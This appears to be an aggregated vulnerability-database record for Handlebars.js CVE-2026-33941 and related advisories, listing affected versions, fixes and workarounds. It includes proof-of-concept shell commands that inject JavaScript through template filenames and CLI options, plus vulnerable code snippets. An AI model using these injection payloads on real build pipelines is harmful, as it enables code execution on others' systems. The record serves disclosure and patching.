{"id":"CVE-2026-33941","aliases":["CLSA-2026-1777163884","CLSA-2026-1782349135","CLSA-2026-1782435546","CLSA-2026-1785117463","CLSA-2026-1792139237","DEBIAN-CVE-2026-33941","EUVD-2026-16862","GHSA-442j-39wm-28r2","GHSA-7rx3-28cr-v5wh","GHSA-xjpj-3mr7-gcpf","ROOT-APP-NPM-CVE-2026-33941","ROOT-APP-NPM-GHSA-7rx3-28cr-v5wh","UBUNTU-CVE-2026-33941"],"status":"published","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00296,"percentile":0.22431,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-1321","CWE-367","CWE-79","CWE-94"],"published":"2026-03-27T18:22:10Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["4.7.9"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-handlebars","fixed_in":["3:4.7.9-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["4.7.7-aikido.2","4.7.8-aikido.6","4.7.7-aikido.3","4.7.7-aikido.4","4.7.7-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["4.7.8-root.io.2","4.7.8-root.io.3","4.7.8-root.io.4","4.7.8-root.io.5","4.7.7-root.io.1","4.7.7-root.io.2","4.7.8-root.io.6","4.7.7-root.io.3","4.7.7-root.io.4","4.7.7-root.io.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.6.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.2"}]}],"versions":["3.0.3","3.0.3-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.7.7-tuxcare.0"},{"fixed":"4.7.7-tuxcare.1"}]}],"versions":["4.7.7"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.7.8-tuxcare.0"},{"fixed":"4.7.8-tuxcare.1"}]}],"versions":["4.7.8"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.8-tuxcare.0"},{"fixed":"3.0.8-tuxcare.3"}]}],"versions":["3.0.8","3.0.8-tuxcare.1","3.0.8-tuxcare.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.3-tuxcare.0"},{"fixed":"4.5.3-tuxcare.3"}]}],"versions":["4.5.3","4.5.3-tuxcare.1","4.5.3-tuxcare.2"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.10-1","3:4.7.7+~4.1.0-1","3:4.7.9-1","3:4.7.9-2","3:4.7.9-3","3:4.7.9-4","3:4.7.9-5","3:4.7.9-6"]},{"source":"osv","ecosystem":"Debian:13","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.10-1","3:4.7.7+~4.1.0-1","3:4.7.9-1","3:4.7.9-2","3:4.7.9-3","3:4.7.9-4","3:4.7.9-5","3:4.7.9-6"]},{"source":"osv","ecosystem":"Debian:14","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3:4.7.9-1"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.6.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.7-aikido.2"},{"fixed":"4.7.8-aikido.6"},{"fixed":"4.7.7-aikido.3"},{"fixed":"4.7.7-aikido.4"},{"fixed":"4.7.7-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-root.io.2"},{"fixed":"4.7.8-root.io.3"},{"fixed":"4.7.8-root.io.4"},{"fixed":"4.7.8-root.io.5"},{"fixed":"4.7.7-root.io.1"},{"fixed":"4.7.7-root.io.2"},{"fixed":"4.7.8-root.io.6"},{"fixed":"4.7.7-root.io.3"},{"fixed":"4.7.7-root.io.4"},{"fixed":"4.7.7-root.io.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-aikido.6"},{"fixed":"4.7.7-aikido.3"},{"fixed":"4.7.7-aikido.4"},{"fixed":"4.7.7-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-root.io.5"},{"fixed":"4.7.8-root.io.6"},{"fixed":"4.7.7-root.io.3"},{"fixed":"4.7.7-root.io.4"},{"fixed":"4.7.7-root.io.5"}]}]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.0.10-5"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.1.0-1","3:4.5.3-1","3:4.7.2-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.6+~4.1.0-2","3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1","3:4.7.9-5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]}],"products":[{"vendor":"handlebars-lang","product":"handlebars.js"},{"vendor":"handlebarsjs","product":"handlebars"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 7"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat process automation 7"}],"references":[{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33941","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452524","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33941.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-442j-39wm-28r2"},{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh","tags":["web"]},{"url":"https://github.com/advisories/GHSA-765h-qjxv-5f44","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7rx3-28cr-v5wh"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33941","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xjpj-3mr7-gcpf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33941.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33941","tags":["advisory"]},{"url":"https://github.com/handlebars-lang/handlebars.js","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-33941","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33941","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33941","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T21:13:15.437Z","modified":"2026-09-11T12:09:10.318Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-79","CWE-94","CWE-116","CWE-94"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-16862","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T21:13:15Z","modified":"2026-09-11T12:09:10Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:22.994693Z"}],"ghsa":[{"id":"GHSA-442j-39wm-28r2","title":"Handlebars.js has a Property Access Validation Bypass in container.lookup","description":"## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).","status":"published","published":"2026-03-29T15:16:37Z","modified":"2026-03-29T15:16:37Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-367"],"updated_at":"2026-11-02T14:39:44.97342Z"},{"id":"GHSA-7rx3-28cr-v5wh","title":"Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry","description":"## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor']      = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.","status":"published","published":"2026-03-29T15:17:15Z","modified":"2026-03-29T15:17:16Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:44.97342Z"},{"id":"GHSA-xjpj-3mr7-gcpf","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' \u003e \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")'  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T18:22:10Z","modified":"2026-03-30T20:08:53Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-79","CWE-94","CWE-116"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2026-33941","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T22:16:21.203Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-79","CWE-94","CWE-116"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33941","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T21:13:15.437Z","modified":"2026-10-28T02:31:09.988276813Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-116","CWE-79","CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"DEBIAN-CVE-2026-33941","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T22:16:21.203Z","modified":"2026-10-27T10:00:59.193160624Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-442j-39wm-28r2","title":"Handlebars.js has a Property Access Validation Bypass in container.lookup","description":"## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).","status":"published","published":"2026-03-29T15:16:37Z","modified":"2026-09-10T03:50:36.874716263Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-367"],"updated_at":"2026-11-02T15:46:36.434231Z"},{"id":"GHSA-7rx3-28cr-v5wh","title":"Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry","description":"## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor']      = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.","status":"published","published":"2026-03-29T15:17:15Z","modified":"2026-09-10T03:50:38.084132596Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"GHSA-xjpj-3mr7-gcpf","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","description":"## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// 